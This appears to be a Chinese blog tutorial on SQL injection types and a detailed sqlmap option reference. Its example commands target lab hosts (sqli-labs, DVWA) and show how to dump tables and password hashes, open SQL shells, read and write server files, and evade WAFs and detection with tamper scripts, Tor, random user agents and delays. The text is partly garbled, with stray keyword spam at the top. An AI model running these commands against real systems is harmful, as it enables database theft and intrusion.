模板和网站是一体的吗,计算机论文8000到10000字,porto wordpress汉化版,建设银行忘记密码网站首页原理
在owasp发布的top10 漏洞里面#xff0c;注入漏洞一直是危害排名第一#xff0c;其中数据库注入漏洞是危害的。
当攻击者发送的sql语句被sql解释器执行#xff0c;通过执行这些恶意语句欺骗数据库执行#xff0c;导致数据库信息泄漏 分类
按注入类型
常见的sql注入…原理
在owasp发布的top10 漏洞里面注入漏洞一直是危害排名第一其中数据库注入漏洞是危害的。
当攻击者发送的sql语句被sql解释器执行通过执行这些恶意语句欺骗数据库执行导致数据库信息泄漏 分类
按注入类型
常见的sql注入按照参数类型可分为两种数字型和字符型
当发送注入点的参数为整数时比如IDnumpage等这种形式的就属于数字型注入漏洞。同样当注入点是字符串时则称为字符型注入字符型注入需要引号来闭合
按返回结果 回显注入可以直接在存在注入点的当前页面中获取返回结果。 报错注入程序将数据库的返回错误信息结果直接显示在页面中虽然没有返回数据库查询的结果但是可以构造一些报错语句从错误信息中获取想要的结果。 盲注程序后端屏蔽了数据库的错误信息没有直接显示结果也没有显示数据库报错信息只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同盲注又分为based boolean(返回结果只有对与错) 和 based time(由返回结果的时间判断) 两种 select IF(ASCII(SUBSTR(DATABASE(),1,1))97, 1, SLEEP(3))按注入位置与方式
按照注入位置及方式可分为post注入get注入cookie注入盲注延时注入搜索注入base64注入无论分类如何都可以归纳为以上两种形式 使用Mybatis的预先编译即可很好的预防sql注入 Sqlmap概述 --wizard Simple wizard interface for beginner users -- sqlmap-shell Prompt for an interactive sqlmap shell 使用--sqlmap-shell无需每次输入sqlmap 概述 支持六种sql注入 boolean-base blind基于布尔的盲注即可以根据返回页面判断条件真假的注入 time-base blind基于时间的盲注即不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行即页面返回时间是否增加来判断 select IF(ASCII(SUBSTR(DATABASE(),1,1))97, 1, SLEEP(3))如果库名的第一个字母大于a返回1否则sleep 3 sec error-based基于报错注入即页面会返回错误信息或则把注入的语句的结果直接返回在页面种 UNION query-based联合查询注入可以使用union的情况下的注入 stacked queries and out-of-band堆查询注入可以同时执行多条语句的执行时的注入。 Options -h, --help Show basic help message and exit 显示基本的帮助命令 -hh Show advanced help message and exit 显示高级的帮助命令 --version Show programs version number and exit 显示sqlmap version -v VERBOSE Verbosity level: 0-6 (default 1) 以verbose的形式输出结果 0: Show only Python tracebacks, error and critical messages.1: Show also information and warning messages.2: Show also debug messages.3: Show also payloads injected.4: Show also HTTP requests.5: Show also HTTP responses headers.6: Show also HTTP responses page content.
sqlmap -d mysql://root:12345192.168.80.129:3306/mysql -v3Target
必须要指定一个target -d DIRECT Connection string for direct database connection 与数据库直连需要该数据库的账户和密码以及数据库的远程访问权限 Pattern: sqlmap -d DBMS://username:passwdDBMS_HOST:PORT/database Example: sqlmap -d mysql://root:12345192.168.80.129:3306/mysql-u URL, --urlURL Target URL (e.g. http://www.site.com/vuln.php?id1) 与URL连接如果以默认的80端口或是443对外开放web服务无需添加端口 -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file 使用burpsuite的request log 做为参数, 需要在burp中设置记录日志 sqlmap -l filename-m BULKFILE Scan multiple targets given in a textual file 使用文本文件, 我们有文件url.txt 内容如下 www.target1.com/vuln1.php?qfoobarwww.target2.com/vuln2.asp?id1www.target3.com/vuln3/id/1*然后可用使用如下命令让Sqlmap测试这些URL是否存在注入漏洞 sqlmap -m url.txt-r REQUESTFILE Load HTTP request from a file 可以将一个HTTP请求保存在文件中然后使用参数“-r”加载该文件Sqlmap会解析该文件从该文件分析目标并进行测试。 设有如下所示的HTTP请求保存在文件get.txt中 GET /user.php?id1 HTTP/1.1Host: 192.168.56.101:8080User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8Accept-Language: zh-SG,en-US;q0.7,en;q0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1123456789则使用如下命令让Sqlmap解析该文件以该文件中HTTP请求目标为攻击目标进行测试 python sqlmap.py -r get.txt-g GOOGLEDORK Process Google dork results as target URLs 使用谷歌特殊查询做为参数 sqlmap -g inurl:.php?id1-c CONFIGFILE Load options from a configuration INI file 使用INI配置文件做为参数 Request
决定怎么连接target --methodMETHOD Force usage of given HTTP method (e.g. PUT) 一般来说Sqlmap能自动判断出是使用GET方法还是POST方法但在某些情况下需要的可能是PUT等很少见的方法 sqlmap -u http://localhost/dvwa/vulnerabilities/sqli_blind/?id1 --methodput--dataDATA Data string to be sent through POST (e.g. id1) 做为post的参数当有多个参数时使用拼接。 这里我们先用burpsuite拦截请求查看post的参数 由此发现参数分别是unamepasswdsubmit
sqlmap -u http://192.168.80.129/sqli/Less-11/ --datauname123passwd123submitSubmit 通过sqlmap获取到注入的sql通过burp可以校验 --param-delPARA.. Character used for splitting parameter values (e.g. ) 通过--param-del;来指定delimeter sqlmap -u http://localhost/dvwa/vulnerabilities/brute/ --datausernameadminpasswordpassword --param-del;http-headers sqlmap如果请求需要cookie sqlmap需要手动设置cookie值。 指定--level 2 检测cookie是否有sql注入 --cookieCOOKIE HTTP Cookie header value (e.g. PHPSESSIDa8d127e..) 当检测需要使用cookie时使用--cookie。默认使用分号分隔可以通过--cookie-del来指定分隔符 sqlmap -u http://192.168.80.129/dvwa/vulnerabilities/sqli_blind/# --dataid2SubmitSubmit --cookiesecuritymedium; PHPSESSIDpsraicopdtede7ok52erpr08bo--load-cookiesL.. File containing cookies in Netscape/wget format 从文件中载入Netscape或wget格式的cookie --drop-set-cookie Ignore Set-Cookie header from response 将响应体中的cookie丢弃 指定--level 3 检测user-agent是否有sql注入 --user-agentAGENT HTTP User-Agent header value 设置请求头中user-agent。默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)做为User-Agent --random-agent Use randomly selected HTTP User-Agent header value 从usr/share/sqlmap/data/txt/user-agents.txt中随机取出一个User-Agent。注意在一次会话中只是用同一个User-Agent并不是每发一个HTTP请求包都随机一个User-Agent。起到反检测的作用 sqlmap -u http://192.168.80.129/dvwa/vulnerabilities/sqli_blind/# --dataid2SubmitSubmit --drop-set-cookie --random-agent使用了user-agent 未使用user-agent 指定--level 5 检测host是否存在sql注入 --hostHOST HTTP Host header value 指定请求头中的HOST 指定--level3 检测referer是否存在sql注入 --refererREFERER HTTP Referer header value 指定请求头中referer用来伪造请求参数 -H HEADER, --hea.. Extra header (e.g. X-Forwarded-For: 127.0.0.1) 指定额外单一的请求头如token --headersHEADERS Extra headers (e.g. Accept-Language: fr\nETag: 123) 指定多个请求头需要使用\n换行 sqlmap -u http://192.168.80.129/sqli/Less-3/?id1 --banner -headerstoken:123\n config:abc--auth-typeAUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) 指定认证的方式 --auth-credAUTH.. HTTP authentication credentials (name:password) 指定认证的用户名和密码
proxy --proxyPROXY Use a proxy to connect to the target URL 指定代理用于隐藏真实IP sqlmap -u http://192.168.80.129/sqli/Less-3/?id1 --proxyhttp://192.168.80.1:80--proxy-filePRO.. Load proxy list from a file 使用文件中的代理 --tor Use Tor anonymity network 使用tor匿名网络 --tor-typeTORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default)) 指定代理的模式默认使用SOCKS5
action --ignore-codeIG.. Ignore (problematic) HTTP error code (e.g. 401) 忽略对指定status code的响应 sqlmap -u http://192.168.80.129/sqli/Less-3/?id1 --ignore-code401 --delayDELAY Delay in seconds between each HTTP request 设置每次请求之间的间隔可以有效躲避检测 sqlmap -u http://192.168.80.129/sqli/Less-3/?id1 --delay1 --timeoutTIMEOUT Seconds to wait before timeout connection (default 30) 设置连接的超时时间 --retriesRETRIES Retries when the connection timeouts (default 3) 设置重试次数 --randomizeRPARAM Randomly change value for given parameter(s) 随机生成HTTP请求中的参数这里表示随机生成id可以避免触发安全机制 sqlmap -u http://192.168.80.129/sqli/Less-3/?id1 --randomizeid--safe-urlSAFEURL URL address to visit frequently during testing --safe-postSAFE.. POST data to send to a safe URL --safe-reqSAFER.. Load safe HTTP request from a file --safe-freqSAFE.. Test requests between two visits to a given safe URL 有时服务器检测到某个客户端错误请求过多会对其进行屏蔽而Sqlmap的测试往往会产生大量的错误请求为避免被屏蔽可以是不是产生几个正常的请求以迷惑服务器。这里所谓的安全URL是指访问会返回200、没有任何报错的URL。相应地Sqlmap也不会对安全URL进行任何注入测试。 --force-ssl Force usage of SSL/HTTPS 强制使用SSL通道 Optimization
These options can be used to optimize the performance of sqlmap
可以加快sqlmap的探测速度 -o Turn on all optimization switches 使用所有的加快探测速度的手段 --keep-alive Use persistent HTTP(s) connections 设置连接为长连接默认使用Close连接一次就会关闭 --threadsTHREADS Max number of concurrent HTTP(s) requests (default 1) 设定并发的线程 --predict-output Predict common queries output 预测输出与--thread不兼容 --null-connection Retrieve page length without actual HTTP response body 返回Content-length不接收ResponseBody Injection
These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts
用于指定检测的参数, 客制化payload -p TESTPARAMETER Testable parameter(s) 指定需要探测的参数或是报文头当有多个参数时使用逗号分隔 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1namechzpwd123 -p id,pwd -o --current-db同样也可以指定user-agent sqlmap -u http://192.168.80.129/sqli/Less-1/?id1namechzpwd123 -p user-agent -o --current-db--skipSKIP Skip testing for given parameter(s) 不探测指定的参数 --skip-static Skip testing parameters that not appear to be dynamic 跳过非动态的参数探测 --param-exclude.. Regexp to exclude parameters from testing (e.g. ses) 使用正则排除 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1namechzpwd123 --param-excludeCache.* -o--dbmsDBMS Force back-end DBMS to provided value 指定DBMS如OracleMySQL。会自动识别 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1namechzpwd123 -o --dbmsMySQL--osOS Force back-end DBMS operating system to provided value 指定操作系统如windowslinux。会自动识别 --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --invalid-string Use random strings for invalidating values 用大的数据做为注入的无效参数 在sqlmap需要使原始参数值无效例如id12时它使用经典的否定例如id-13。有了这个开关就可以强制使用指定的来替换该错误参数 --prefixPREFIX Injection payload prefix string --suffixSUFFIX Injection payload suffix string 使用指定的前后缀来修饰payload --no-escape Turn off string escaping mechanism 有时Sqlmap会使用用单引号括起来的字符串值作为payload如“SELECT ‘foobar’”默认地这些值会被编码如上例将被编码为 “SELECT CHAR(102)CHAR(111)CHAR(111)CHAR(98)CHAR(97)CHAR(114))”。这样做既可以混淆视听让人一时难以洞察payload的内容又可以在后台服务器使用类似magic_quote或mysql_real_escape_string这样的转义函数的情况下字符串不受影响。当然在某些情况下需要关闭字符串编码如为了缩减payload长度用户可以使用“–no-escape”来关闭字符串编码。 --tamperTAMPER Use given script(s) for tampering injection data 除了用CHAR()编码字符串外Sqlmap没有对payload进行任何混淆。 该参数用于对payload进行混淆以绕过IPS或WAF。 该参数后跟一个tamper脚本的名字。若该tamper脚本位于sqlmap的安装目录的tamper/目录中就可以省略路径和后缀名只写文件名。 多个tamper脚本之间用空格隔开。 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1namechzpwd123 --tamperspace2comment.pyDetection
These options can be used to customize the detection phase --levelLEVEL Level of tests to perform (1-5, default 1) 设置探测等级 GET and POST parameters are always tested, HTTP Cookie header values are tested from level 2 and HTTP User-Agent/Referer headers value is tested from level 3. --riskRISK Risk of tests to perform (1-3, default 1) 设置风险等级 Techniques
These options can be used to tweak testing of specific SQL injection techniques --techniqueTECH SQL injection techniques to use (default BEUSTQ) 指定使用什么类型的SQL注入来探测默认使用所有 B: Boolean-based blindE: Error-basedU: Union query-basedS: Stacked queriesT: Time-based blindQ: Inline queries sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 --techniqueES--time-secTIMESEC Seconds to delay the DBMS response (default 5) 指定基于时间的盲注的sleep时间 Fingerprint -f, --fingerprint Perform an extensive DBMS version fingerprint 获取DBMS的版本信息 Enumeration
These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.
额外条件-D-T-C--start--stop
枚举数据库中信息 -a, --all Retrieve everything 同时还可以获取账户密码的Hash 也包括解码一些常见的明文密码 -b, --banner Retrieve DBMS banner 获取数据库的bann信息 --current-user Retrieve DBMS current user 获取数据库当前的用户 --hostname Retrieve DBMS server hostname 获取主机名 --users Enumerate DBMS users 获取所有用户名 --privileges Enumerate DBMS users privileges 获取用户权限使用-U指定用户 --passwords Enumerate DBMS users password hashes 获取密码哈希值以及解密使用-U指定用户 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 -o --password -U root可以使用如下格式尝试登入数据库需要远程登入授权才能登入 mysql -h 192.168.80.129 -u root -p--dbs Enumerate DBMS databases 获取所有的数据库 --tables Enumerate DBMS database tables 如果没有指定 -D枚举所有数据库中所有表。使用--exclude-sysdbs来排除系统的表 --columns Enumerate DBMS database table columns 通过-D指定DB如果没有指定DB就使用当前探测的数据库使用-T指定table如果没有指定查询所有table的字段以及类型使用-C指定查询某一列 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 -o --columns -D mysql--schema Enumerate DBMS schema 列出所有的数据库表名字段名字段类型。使用--exclude-sysdbs排除系统数据库 --dump Dump DBMS database table entries 获取表中的详细信息并存储到本地 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 --dump -D security -T users ! 可以使用-D-T-C; 还可以使用--start和--stop查询指定行数, 起到分页查询的功能 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 --dump -D security -T users --start 1 --stop 2--dump-all Dump all DBMS databases tables entries 一次性存储所有数据库中的所有表可以和--exclude-sysdbs一起使用 --search Search column(s), table(s) and/or database name(s) 所属指定的库名表名列名可以采用模糊匹配。需要配合-D,-T-C一起使用 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 --search -D security -C pass,name多个参数时使用逗号隔开 --sql-shell Prompt for an interactive SQL shell 以shell的格式连接当前被探测的数据库可以使用MySQL语法 Brute force --common-tables Check existence of common tables 如果--tables不能获取信息需要采用该命令。通常由于以下几点造成 The database management system is MySQL 5.0 where information_schema is not available.The database management system is Microsoft Access and system table MSysObjects is not readable - default setting.The session user does not have read privileges against the system table storing the scheme of the databases. --common-columns Check existence of common columns as mentioned before File system access
These options can be used to access the back-end database management system underlying file system
读取后端目标及中的文件 --file-readFILE.. Read a file from the back-end DBMS file system --file-writeFIL.. Write a local file on the back-end DBMS file system --file-destFILE.. Back-end DBMS absolute filepath to write to Operating system access Windows registry access General
These options can be used to set some general working parameters
设置通用参数 sqlmap第一次查询target时会将结果缓存到session文件中后面再次查询时就直接从session文件中获取结果 -s SESSIONFILE Load session from a stored (.sqlite) file 加载一个SESSIONFILE文件通常存储在~/.local/share/sqlmap/output/192.168.80.129 qlmap -u http://192.168.80.129/sqli/Less-1/?id1 -s ~/.local/share/sqlmap/output/192.168.80.129/session.sqlite 能跳过检测直接给出检测结果。 -t TRAFFICFILE Log all HTTP traffic into a textual file 把所有的HTTPs流量存入日志中主要用于调试目的 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 -t /root/Desktop/target.txt--batch Never ask for user input, use the default behavior 使用默认做为选项 --charsetCHARSET Blind SQL injection charset (e.g. 0123456789abcdef) 使用指定的字符集 sqlmap -u http://192.168.80.129/sqli/Less-1/?id1 --charset123456789qazwsxedcrfv--crawlCRAWLDEPTH Crawl the website starting from the target URL 爬取指定url所有的子url, 并对他们进行sql注入检测 sqlmap -u http://192.168.80.129/sqli --crawl3 --batch 由于访问所有url就不需要通过url指定注入点 --forms Parse and test forms on target URL 检查请求是否以表单提交并检测sql注入 sqlmap -u http://192.168.80.129/sqli/Less-11?id12 --forms--eta Display for each output the estimated time of arrival 用于输出展示数据库内容的进度条 sqlmap -u http://192.168.80.129/sqli/Less-1?id12 -D security -T users --dump --fresh-queries --batch --eta--flush-session Flush session files for current target 无视session文件的结果重新进行检测注入点 --fresh-queries Ignore query results stored in session file 无视session文件的结果重新检查数据库 --parse-errors Parse and display DBMS error messages from responses 显示插入payload时数据库中返回的错误信息 --saveSAVECONFIG Save options to a configuration INI file 将当前执行的命令存储成配置文件下次可以通过-c参数来调用 sqlmap -u http://192.168.80.129/sqli/Less-2/?id1 --save/root/Desktop/temp.txt
sqlmap -c root/Desktop/temp.txt--harHARFILE Log all HTTP traffic into a HAR file 将所有的请求和响应存储成json格式 sqlmap -u http://192.168.80.129/sqli/Less-2/?id1 --har/root/Desktop/temp.harMiscellaneous
杂项 --cleanup Clean up the DBMS from sqlmap specific UDF and table 清除sqlmap入侵后端后留下临时表或udf强烈推荐 --list-tampers Display list of available tamper scripts 列出所有的tamper脚本 sqlmap --list-tampers--mobile Imitate smartphone through HTTP User-Agent header 模仿手机的HTTP user-agent --identify-waf Make a thorough testing for a WAF/IPS protection 检测数据库服务器有无使用WAF --skip-waf Skip heuristic detection of WAF/IPS protection 绕过waf sqlmap -u http://192.168.80.129/sqli/Less-7/?id1 --skip-waf最后我也整理了一些网络安全黑客方面的学习进阶资料 如果你想跟同道中人交流